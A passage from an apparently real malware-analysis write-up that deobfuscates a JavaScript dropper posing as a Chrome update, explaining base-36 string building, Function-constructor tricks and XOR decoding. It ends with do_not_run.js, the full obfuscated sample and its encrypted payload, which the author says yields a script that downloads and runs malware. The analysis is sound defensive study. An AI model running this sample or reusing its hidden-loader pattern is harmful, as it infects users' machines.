parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )
```
Fragment ```["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")]``` returns name of ```substr``` function - one of the String object method which just returns part of the string. ```substr()``` accepts one or two arguments: first one is the index of first char of returned part and second one (optional) is a length of this part. If second argument is not passed, ```substr``` returns everything starting from position passed as first (and only) argument.

Consider examples:

```javascript
let s = "Malware"
console.log(s.substr(0,2))   // Ma
console.log(s.substr(2,4))   // lwar
console.log(s.substr(3))     // ware

```

So far, we get:

```javascript
parseInt(val["substr"](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )
```

We can see that in this case two arguments are passed to ```val["substr"]``` and they are ```i``` which is ```for``` loop current iterator value and 2 (result of expression ```(85, 19, 84, 9, 2)```:

```
val["substr"](i, 2)
```

Last part is ```parseInt((42).toString(0x24))```. As we know, it parses 42 into Integer using ```0x24``` base. ```0x24``` is a hexadecimal value equals decimal 36. So finally we get 42 converted into String using Hexatrigesimal system:

![42](assets/42.png)

How it works? in Hexatrigesimal system we have 36 ciphers and ```35``` decimal is equal to ```z``` in hexatrigesimal. 36 becomes 10, 37 becomes 11, 38 becomes 12 and so on, so 42 becomes 16. As result of ```parseInt((42).toString(0x24))``` is simply ```parseInt(16)``` - finally we get just 16 (because ```parseInt(16)``` equals 16 itself)

This is our deobfuscated ```cicuza()``` function (notice I've changed ```[]``` method calls into ```.``` notation):

```javascript

    function cicuza(val) {
        var result = [];
        for (var i = 0; i < val.length; i += 2) {
            result.push(parseInt(val.substr(i, 2), 16));
        }
        return result;
    };


```

Now we can see what this function actually does.
As ```val``` contains initial very, very long string passed as an argument to malware's top level IIFE, ```cicuza()``` iterates over it, substract every two characters, converts them from hexadecimal value into decimal one and finally pushes as an element of ```result``` array.

So as example - taking the first part of that very long string, which is ```"41553a304f0b442551284206"``` - 41 becomes 65, 55 becomes 85, 3a becomes 58, 30 becomes 48, 4f becomes 79 and so on. In the end, we end up with big array contains decimal values. And this array becomes as a value of ```defiq``` in our malware:


```javascript
(...)
	var defiq = cicuza(quhuvu6);   // here we are so far :)
    var permy = "H@D~7a84O";
    var paghimqycgi = {
        getpy: "myqniroqa3"
    };
        
    (...)
```


---

substr() documentation

http://devdocs.io/javascript/global_objects/string/substr

---


## Getting function constructor

Very common method in obfuscation of JavaScript malware is to hide any function definitions and calls. Why? Take a look at this code:

```javascript
function doubleX(x) {
	return x * 2
}

doubleX(10) // returns 20
```

It's obvious what this code does. This is not something what can be considered as sophisticated piece of malware code rather...

Let's try to obfuscate it a little:

```javascript
let xcf = new Function("x","return x * 2")

xcf(10)   // returns 20 as well
```

How it works?

```Function``` is a special method in JavaScript, which constructs new function (it works as function constructor). As arguments it accepts list of arguments for function which should be returned and, as last argument - body of this created function.

So in our example with ```xcf``` - first argument passed into ```Function()``` is an argument for ```xcf```, and second one is body of ```xcf```. Finally, we get function works in the same way as ```doubleX()```.

Before we'll proceed, one important thing to mention here: __every__ function in JavaScript has a property named __constructor__, which in fact is a ```Function()``` itself:


![Function constructor](assets/function.png)

We've declared an array object. Then, we check that ```a.forEach``` method has its own property called ```constructor``` - and it is ```Function()```.

Why do we need this?

Because now, to define ```xcf()``` function, instead of calling ```new Function()``` you can do something like this:

```javascript
let xcf = a.forEach.constructor("x","return x * 2")

xcf(10)  // yep, it works! 20
```

Can you see advantages of this? Malware can hide declarations of any function, under any name and static code analysis tools can't find any explicit function declarations! 

Very similar method can be used to assign built-in methods to totally randomly named variables:
:

```javascript
let sdfgfdg = "".substr
sdfgfdg.call("malware",1,2)   // "al"
```

```call()``` is a way to run our function. Consider following example:

```javascript
"malware".substr(1,2)  // "al"
```
We call ```substr``` method on ```"malware"``` string. But we can also __call__ function ```sdfgfdg```, which we assign ```String.substr()```, passing a string ```"malware"``` as an object on which our ```sdfgfdg``` has to be executed and also pass actual arguments.

---

```call()``` and ```apply()```, as well as ```bind()``` are quite advanced concepts in JavaScript. I strongly recommend to read about them in fantastic "You Don't Know JS" series by @getify (Kyle Simpson):

https://github.com/getify/You-Dont-Know-JS

---


Last problem for malware is to hide explicit ```constructor``` call.

Our malware does it as follows:

```javascript
var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")];
```

As ```"kydka"``` is a string, it has, as every object in JavaScript, method ```constructor``` - and word ```constructor``` is build using already known method with converting numbers to strings with hexatrigesimal system, () expressions returned last element from comma-separated list of characters and finally concatenates them using ```+``` (for string it means concatenation) operator:

```javascript
var xewubdiwhit = "kydka"["constructor"]
```

Now, when we know what it does, let's refactor code above into something more readable:

```javascript
var fnConstructor = String.constructor
```


Now, first lines of our deobfuscated malware are:

```javascript
(function(quhuvu6) {
    var defiq = cicuza(quhuvu6);
    var permy = "H@D~7a84O";
    var paghimqycgi = {
        getpy: "myqniroqa3"
    };
    var fnConstructor = String.constructor;
    var tyttaluli = "mokzine";

    var dikol = [];
    var mirjokbynet = 1;  // (27, 50, 52, 21, 1) equals 1
    
    (...)

```

---

More on functions ```call()``` and ```apply()```

http://devdocs.io/javascript/global_objects/function/call

http://devdocs.io/javascript/global_objects/function/apply

---


## Logical operators tips and tricks

In our analysis we get into this fragment:

```javascript

    while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) {
        dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/ ] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/ ]('');
        for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/ ]; juqno++) {
            defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + ("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/ ]((88, 53, 3, 90, 0));
        }
        mirjokbynet++;
    };
```

Apart of methods we discussed so far, we can spot here couple of strange logical operators usages.

First, let's simplify the code and deobfuscate all we can using already know techniques. I've renamed ```mirjokbynet``` into ```k``` and ```juqno``` into ```j``` as well:

```javascript

    while (k <= permy.length) {
        dikol = (permy.substr(permy.length - k)).split('');
        for (var j = +!!false; j < defiq.length; j++) {
            defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
        }
        k++;
    };
```

This looks better. 

Now, we can follow code execution in this fragment of malware. As we can see, in ```while``` condition variable named ```permy``` is used and its definition assign ```"H@D~7a84O"``` string as its value.

It's time to figure out how this fragment works:

```javascript
 while (k <= 9) {   // 9 is value of permy.length
```
Next line defines value for array ```dikol```:

```javascript
dikol = (permy.substr(permy.length - k)).split('');
```
As in this place value of ```k``` equals 0, ```dikol``` becomes the last element of ```permy``` string (which is splitted into an array by ```split('')``` call), so its value in first ```while``` iteration becomes ```[0]```

Now, the ```for``` part:

```javascript
for (var j = +!!false; j < defiq.length; j++) {
	defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
}
```
Into what value ```+!!false``` evaluates?

* initialy, it is ```false```
* then, first ```!```, which is logical NOT (negation) changes it into ```true```
* and next ```!``` again changes it into ```false```
* finally, ```+``` casts Boolean value ```false``` into Integer ```0``` (you can check this flow, step by step, in Chrome console):


![False](assets/false.png)


So many efforts to get just one ```0```...

Next, we have another logical operators inside ```for``` loop.
As we found, ```defiq``` is an array with decimal values (it's initial string passed into IIFE after couple of transformations we discovered earlier).

We will focus now on first element of ```defiq``` array, which is ```65```.
The result of expression ```defiq[j] ^ dikol[j % dikol.length].charCodeAt(0)``` is calculated in several steps:

* ```j``` is actual loop control value. For first element it will be ```0```, so the result of ```j % dikol.length``` is ```0``` (```0 % 1 = 0```). Remember that ```dikol.length``` in this iteration equals 1.
* now, we have expression ```defiq[j] ^ dikol[0].charCodeAt(0)``` which evaluates into ```65 ^ 79``` (```65``` is first element of ```defiq``` array and ```79``` is a result of ```dikol[0].charCodeAt(0)``` - ```dikol[0]``` equals ```O``` (capital o), and ```'O'.charCodeAt(0)``` equals 79
* operator ```^``` is bitwise operator XOR (eXclusive OR). The result of expression ```65 ^ 79``` is ```14```.

Next, ```k++``` increments value of ```k``` and the whole operation starts again. This loop lasts as long as whole ```defiq``` array is transformed into new values.

---

__Logical and bitwise operators__

```! (logical NOT)```

http://devdocs.io/javascript/operators/logical_operators#Logical_NOT

```^ (bitwise XOR)```

http://devdocs.io/javascript/operators/bitwise_operators#Bitwise_XOR

https://en.wikipedia.org/wiki/Bitwise_operation#XOR

---



## Almost done!

Last fragment of malware should be easy to deobfuscate with all tricks we've learnt:

```javascript

    for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) {
        defiq[vaxofibcid] = "ms" ["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/ ](defiq[vaxofibcid]);
    };


    tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/ ]('');
    paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/ ] = fnConstructor[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli);
 	var gogoq = "1cf4d5" + paghimqycgi + "631a403f5";

```

becomes

```javascript

for (var r = +!!false; r < defiq.length; r++) {
    defiq[r] = String.fromCharCode(defiq[r]);
};


t = defiq.join('');
v.toString = fnConstructor.constructor(t);
var gogoq = "1cf4d5" + v + "631a403f5";

```

The only purpose of all this code is to perform manipulation of an array, to finally get a string passed to ```nilse``` function:

```javascript

    nilse(gogoq);


    function cicuza(val) {
        (...)
    };



    function nilse(tefkysab) {
        return (new Function()(tefkysab));
    };
    
```

And that's pretty all. Our deobfuscated malware sample looks now much more readable but it still can be quite hard to run it and make it works (I found that there's some error which does not allow to finish last transformation):

```javascript
(function(quhuvu6) {
    var defiq = cicuza(quhuvu6);
    var permy = "H@D~7a84O";
    var v = {
        getpy: "myqniroqa3"
    };
    var fnConstructor = String.constructor;
    var t = "mokzine";

    var dikol = [];
    var k = 1;

    while (k <= permy.length) {
        dikol = (permy.substr(permy.length - k)).split('');
        for (var j = +!!false; j < defiq.length; j++) {
            defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
        }
        k++;
    };

    for (var r = +!!false; r < defiq.length; r++) {
        defiq[r] = String.fromCharCode(defiq[r]);
    };


    t = defiq.join('');
    v.toString = fnConstructor.constructor(t);
    var gogoq = "1cf4d5" + v + "631a403f5";

    nilse(gogoq);


    function cicuza(val) {
        var result = [];
        for (var i = 0; i < val.length; i += 2) {
            result.push(parseInt(val.substr(i, 2), 16));
        }
        return result;
    };

    function nilse(tefkysab) {
        return (new Function()(tefkysab));
    };
}("41553a304f0b442(......)  // string cut for readability
``` 


## Summary

Methods presented in this post are quite simple and based on  JavaScript language syntax. Although they were found in real life code (infection vector was fake Chrome update - as I mentioned at the beginning of this post, the code has not been run thanks to Windows setting showing file extension and my colleague spots that this is not update installer but JS file and did not run it)

Main intention of this file was to trick anyone who download this code to click it. After all transformation we followed, the final version of this code becomes Windows Script Host (WSH) file which can for example download and run real malware or ransomware.

If you are curious how it will be possible, you can take a look at my previous post, where I'm going through RAA ransomware, popular JavaScript ransomware with CryptoJS build-in library and Locky malware  dropper:

https://github.com/bl4de/research/blob/master/raa-ransomware-analysis/README.md

---

__Windows Script Host__

https://en.wikipedia.org/wiki/Windows\_Script\_Host

---


## Comments? Thoughts? Questions?

If you have any questions or doubts - feel free to contact me:

- Twitter: https://twitter.com/_bl4de
- email: bloorq   .(o,o)/   gmail.com

Thank you for reading!

Best Regards,



================================================
FILE: javascript-malware-obfuscation/do_not_run.js
================================================
(function (quhuvu6) {
    var defiq = cicuza(quhuvu6);
    var permy = "H@D~7a84O";
    var paghimqycgi = {
        getpy: "myqniroqa3"
    };
    var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")];
    var tyttaluli = "mokzine";

    var dikol = [];
    var mirjokbynet = (27, 50, 52, 21, 1);

    while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) {
        dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/]('');
        for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/]; juqno++) {
            defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + ("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/]((88, 53, 3, 90, 0));
        }
        mirjokbynet++;
    };

    for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) {
        defiq[vaxofibcid] = "ms"["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/](defiq[vaxofibcid]);
    };


    tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/]('');
    paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/] = xewubdiwhit[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli);
    var gogoq = "1cf4d5" + paghimqycgi + "631a403f5";

    nilse(gogoq);


    function cicuza(syhri) {
        var fahomyfo = [];
        for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
            fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/));
        }
        return fahomyfo;
    };



    function nilse(tefkysab) {
        return (new Function()(tefkysab));
    };
}("41553a304f0b442551284206" + "672651014d1e1a60127" + "b2a146b3625332202274" + "17121712e033c64344e117735272b512a500b5c6034782e4d743625546f000c5" + "a4e183" + "46c166d6802293f5a7d3a55296d561b1c35680f03131b24356b3f070303" + "510100237e2b2e03780474091516297067364539282132" + "2d44" + "3e1a6c1646096d6a495a1b1c2a656a214e683e675d35724c440d152624734c72391521602a6b096f595b0349106b36251b22564e647e6728260516141a4f0f353d773141241368" + "5464381848" + "641f2c5e02343b160c3a3e" + "7b4a5a21540040395a7e315c7f095b0b7a5f1c45392e3e3d42497a5f2b795370196b7265615e1e41214624227f681b084" + "674462b7323426a4f732c54221809266549417877177231114671397e1b4341707f651c103835741b0" + "c0f6743741442321c576c43171b144c317278043d7731360716136374261325363b396109034f13775f55367b70136f637c7264401a3e35505e6d49096c6d742d642c6513250f456f646" + "c72427e4e492b2c2a2c5e6e19494f17092f7c" + "027d512c46410c390b07" + "043179291842696d415b51376f50132d7c766a4a5413637c1f1b44510839392b786602222a403918715856514f00172e6c224b5a7" + "c1223685031633157041f434d3037424" + "72e307c707e04471d354e" + "0b1f3d655f162604630d22576c460c5d13570235063143784" + "23e042d3b29680e675d0a7f117e3432" + "4e3c7d08" + "4" + "83336250f031c3e7b346f4c4271685c6f66233f38345e" + "1c686b46427471413925223c1a286320296e0" + "a0c" + "714635217d2e4e2236266907341951263a596c1b196b115f61502a5" + "e4806773078341c6f5a1b3132624d1935251" + "9462a1b67247b714137" + "55014721234d02166d3d2a5e2551" + "6944393f413814731702513b792d0a6b527b16786b4c7" + "80b7b2246144" + "e172e451479296d3b3" + "44b4354577e77690830674d6f49145b075b35770449692d42755e6273000f420371662f6d743a7064636c701" + "317225747753d38424" + "c260e0866134c71725e6" + "94a4a0b3e32" + "3459533a68731c7d6f28217f1b183e723e64311068545046235a645f682f33105168177f1b3b57034c2d4570037f6351285d1f6a1c48293b62077e704e0b55756510415a361c6d04425a560d325a0f522f3a1a36704e344f4f255d7b1f5e397f3b523" + "063220b7f512b7b025a5823065c7422786e5a25173a7c7b6c0" + "e5566095d36775857511d6f611b432420717524196e77057d7b1310033a182059757f68037" + "407" + "2e613d6d" + "2a" + "76223d6b1b3f323500411f4c0330670378082573367e514b370e25" + "24511a6f622f433e415a354e547f255d7f7" + "4102c4" + "d7552150626595957091e5d0477182a0f6d434" + "15e503d6d383d2141415705341e3e4142681c09683e290b360e423f1c3d6e054f091d2c60702d132537515c49322e6e21017306460a4a576d4f1125596a257421683a7613242f36691f097e59633" + "5206c651e5861596e7b016a42696b36683e421d3d4a4536103746043c" + "467b3b6c30586" + "d3b17015f4c1f055e150464102e49674d285a130159" + "043d080e140917571a704d6837186a15692e325e515a39305d09661f2a7c0b1732616b1664045c234d296d6f493a07730225224d6d2d4b1b40237c" + "515b310a6a494178732d2b7757684c641964275e1b2c343240734e2d" + "461409555" + "07c134a643b033" + "8772c3f5e045e04657439180f144a36382e353e7f70" + "70646c315e344a387a065a6f0a440c1c671" + "b0756102d0a36590b4e6c22250a267e547f717102011d" + "7f4f261852072975771a53294c60270b1a190e05706b797e59171e70" + "466f036f3" + "7000b3a015f51521f404e15452b145852176d106846322a373a5c7c2f56155a341f121709636e79330c4908730863" + "2c5a691f06605b7035314a443a1a457e7111380323732e49420b1e141257675633425014372a621f7431156" + "c304139120064634207292a0f67325a72431c392b36114a425" + "c641e487c4808367f7f731d007c69217c5c6" + "6555e463a0577334c3e617f1255325" + "51a516c593d603f144e74745a4e31286b72615e274279382a0455291f377f433121142c214f5f084a32304f22136e5e55565e64453a227b2773" + "2741726c434123740120182f1e49685e514a6c6b1b0f64560303655" + "d5c" + "046" + "9337429300250170e73271d0" + "031461346326f217817023a4f7a2d3608684515073f40270c6c5a77173" + "6545d715669491f223717481b532c4b7b0e07500c600014682f41062341196b01685c7b71041903392e513a6f6c0d3d7f7073412a411" + "96b7220400b7f1b7941242273257767352a7c033e" + "0242772d0e002f76071" + "57d11750c2b2438001b78312e55701d391539" + "31384571674f05095f21071d59431500322246420e183629360b0a1f5" + "c0" + "50b4a37745c2a61261d226014" + "746c0679324650326d354f0b7e692344233f06076a64455e493115460c4971070e351a7b7a265248245c31314613465a0b3232663a" + "564d61196f72556167335e2f20276b445d0410684d435130781d787341391d511a52322d5576600e4c08495a10412b" + "5535261b2b01593550391d422a1b585a272" + "e" + "4e683e14240b497d" + "5943606d2b0008563c3c" + "2056415220591831326f5f736a6c414f140" + "24626241443670f0" + "57" + "b464d3a616e1f3e5d5a102a5f7b2a08656f723e2f30174c55042f09" + "255a6f6546272" + "3563c29087f7" + "0523" + "9234549700a052b5a311e5d7c774e60225d670a28263c4c17222734552c5a605d" + "65581053461c107a1b5e63" + "07434c661e227165296848231210666851041e136d59" + "42774531320057524016360f27362a024729750360514f055965082246153" + "267511f48301a24" + "460d0a2d5d1161677" + "51e772e655" + "36c79017c4d53665c134b035104585633731b320349" + "412" + "47f4156506c134f7f6a17417261427076786c4" + "a386025787309220d1b1b0540051c0b0" + "a5e2e1c31726b2a3a0c181c7b4b592512744d41633" + "d2d2d36297417466f6e3a4217064d0b172f0065652d26" + "1960" + "105f27772c5a2651690a6c4a664a42170b0862564f5b700d2d1133782f2b100d264a2521266167055b5a49572629484c495b0f1b08653b6f3106046c545e110256774b60076d" + "097b230f172119340b313d1f3d79423b096e64042c1733565e49145c7f3d0476490773660c" + "4d0b3a372e3a4d25545a273c25773464100e6926536b130b4b154f396152600c726b6c212c175e1818541b734e1b19505616792e682f151f475a356" + "3471961454a4e0" + "b41607f5979675b445a35406736667b551a74556b785e504e607b6f5618563e6b6866633" + "720241c3a386116741f67393d3b3971615e3474363e685c2179163e192f357a244a11033a47170e49343235006646616" + "56536070671455d2a3" + "d2d403b361828506e2721132d3" + "10f493663087c5d1" + "54d0152036c4d431c5" + "e6574425e49496b" + "634" + "01f445e2d420870035f370d5a54422c3e3e330a21125a46475e" + "75" + "5e217c7b105e6905504a705c4" + "669266b1528602561" + "6d44666b015732765270644d75182751416" + "13c4b49373613094e325f20420b283b5751154a472d19106f" + "1b46216b203f1d6a0f3564632b186c6c604e0e1335593e0b747c2d544965377c1579216b507e0a561" + "8421" + "3226514431c703e044f5a1" + "1693d1404305d7a68180c0" + "23d3b336c0c143f4e2f1c546c4b0f264d4e5e3a1d00407f205a324e372f212e285f767a77393d70781358643c392252047f566e382f0c6b21031c08410f133501456f52" + "1" + "c355018732d36101803517c7837" + "252344496a2f22642c24284d4d041f3e62363" + "86b4a177c581b764c18521f" + "301" + "f6a513a404573267d161c" + "2154007b241b3152117" + "e5d212" + "95e1e78163b3d177475192a497f2935784a" + "2e27107d423258345a6977216c074b6b" + "6240" + "367d740d21" + "77187c216548523f6e491739083d7c3d074472702c5541567024463a3932651b14415d344f635b1b3b4a0b3e412429186" + "d2534265c703663600b0b5d66703126737b76223525321c2e357064" + "606c6341216f697d6c510032674d436f693077196e03391a3340734b177d3c2c3e5175451b6c262a2c5e7c5a04516f034e4034684762180f4b3b024e04223d6848106569041f387b5c5a3c630" + "d226f3953087e7814154b5510276d7e6364706f135" + "36c3517745a4f4d0641247b7b64507407057c5f217d1a03015a0" + "73977314" + "b2e7578005f744" + "d635a6348" + "4a333d7a440" + "c61162b517036696e072c3f1c2d6a1d423f635930126439297f0f29741734566f182f6c177a5" + "15f74750e4e4c1c387b3e5a5e0f3c735e41073" + "5410073111f7b77465f746c03323d6f2b10206b3f3c2a501f160d68263d210d2272633707" + "6f1c0d74720d2059142f0166011a45" + "110a2a37457824054e0e4a762b795a0c2b7a43076d09352" + "c697d0" + "2222c7f01367847717b77326a0f6f14781b7b32097e5661025d4178216e7442456c5018015c753434" + "7b05060b57754403223a2e7a6a391853557a095b6c226d5f375d035e0803717e540d382606291b62177243267" + "560115279777a297775353d0052255218782a60555664742f36480b" + "7a0c577d450a0f7b2b650119692f3c1e6b6d68507b2a1f2e65632364552d5d0e4e7a0d2754296c6d232e37712a1b7e02350c750129" + "53" + "74375" + "a225258730" + "f14307d2145670e02420c21224e0f5e735e705504500219721c0b40252c5e0d0" + "d025a545c2d492a0b1c7a2c7" + "c196f333145740029635d48486226" + "3a2a7430780436037d243a7e4d046846093363035d0d48763902562d5c28264" + "80a1a760c6921785f522b0d295167" + "307a43725668682e7f7d7b" + "717d68" + "552e6c" + "7652500e5a53383b526f4b7c2772221050165f0077357d1a52785232520b7e0804277352202" + "21a23552a46510854242b17620c02477058335b3151154c09287d7f0d3606752079600e3354452a0540353131572211493f7d297900785a153f69362d583621105a1d7877282" + "e1426065" + "f15415730004f2618782d6170782a2841" + "257121264b5d2408612c2575257e0c52082d251d59037f61766a28500968" + "0c1321577e5e4c6d5a3f637e7338134c7714250c4a285d0" + "40" + "d7252" + "6b1b735b66564040085f295654055005" + "4271214e286722780e7f730f4d071a2d7703483" + "f553f3" + "9521c2638691f153e5e703d7d7c365b6b146b5e67250d226b415d075c55200" + "e150c7846007c333f637f062152660f66300317220604502c5d295752" + "531716774b0c713612230c414f0b7" + "3515573292b1b1e16136d7a362a262b3234327b211b3f5e7f0b2d501f474d1558355e1314563a517a51170425773451313e2d" + "482829540234520b2b4c18573f" + "7c721c5d2d117729185b2a0808686b2f015e770979036f417e7a1b4d71514b000e08495f0408207616136d7b1d2f14783226260620714e0a51345" + "54b71043c012874550e5931107c730c3" + "c5e17391b2362775e4e2a0e6f7c572f69733" + "9706f1d014f18045a0e3d023f530f03277b2a4a226" + "9200c37595352196f61065e686c5263215e301f037f702e00043f1" + "63a5059565200747f3f655b433f7929" + "285e6f0f4f542b0e677315785" + "6" + "0e6d5a77" + "5e090" + "b38136d767c4d08202d1959" + "73242e64065e725418292547556f5d69365d7170017223463f590735076f7a69" + "290410411b36512c" + "2c7f737573517c28004b4513312" + "65d4d0b47564a545b7972475a2b020a543e19591c7869566a706e0550221f7a0d0e7312525076322977510a7b080025" + "0322021f6206243227027f0c36543f0d072306371450636f070e7a5555006e" + "250716012658052c2f464" + "67c521c7d1a1b0725070f0" + "f0e762c147c293705352" + "07227527552427b627c7e0b61420064327b347c3724292c3e017e115" + "37c3503113b3456680277283243227f035e2d763" + "e0a33556e5435656b062f7755713d" + "5f31085b13" + "380108777a555a5c4f257b704f055c1a4c7506202d4879012d067b2344312a0d737b4e57776773591f2a7" + "f11177475027b296c0b0f5e771d0c4d1a7f110273" + "0c" + "6828742b30741f6e7715585015417e7b742f0f083b497f7a457601407f2668727c540214492354505177790b353d072e1" + "8400e2946" + "5805213d0f5b560e0f5154775" + "7672b4d29131e3e4f2b5" + "e364a132b783d210e6f2901725e0a20491b237d784007" + "4d35365637200733075d3121" + "7b0764216c56111f0a113678065924675004555" + "d5e0b74427d4d0e5239" + "077f70097b2c2b7f39365c1a5e" + "5b681a7b54217d5b2f4750714a23290a5f74524466561f4e0028201659654c0877264a7e1a767a7932012a70" + "710522050d0c7c1e" + "095" + "7" + "5248047e0b01340f040b78" + "4961362b7a3d05324a" + "70762c1a415b0d72" + "5a711a003671145700191" + "c3" + "545047b7053" + "04782b" + "080057551040391b731659653b56415d7703724452007a0a5d6735" + "2910266" + "52f026f" + "235d3b145f2057255d400b5c0f1c7c7b5d7c550c077e2e0d" + "455e2f291b7b3a0c0327650a62772979586d642637670d2752040251495d054d5e597800207f6a627c5e19526d480f7e767e0e436816627a7030241f7c77" + "2e7f5d551f761e537e513d3d7b676c224a04617b25554a56705c6743" + "625a19474f5867050f05644578436819732e17222" + "41177221d6332" + "5b060c592136251e0" + "d140156795e247a2d7b5" + "e1" + "578030d4e59073d3f225f364b707d557a7056224f385426752b1" + "a2a53657f0264077009554b02062f75412f50562860264d4a716c7375563c04196072253543264e0b2f780b327" + "758500555603f" + "542a0e646939787d655" + "8545607466c07590f5a09550762327d58131d565" + "8315c087b4b225b0e116b380e2359105518774575555f73561435137074495f5a6672775b0e522637642f22" + 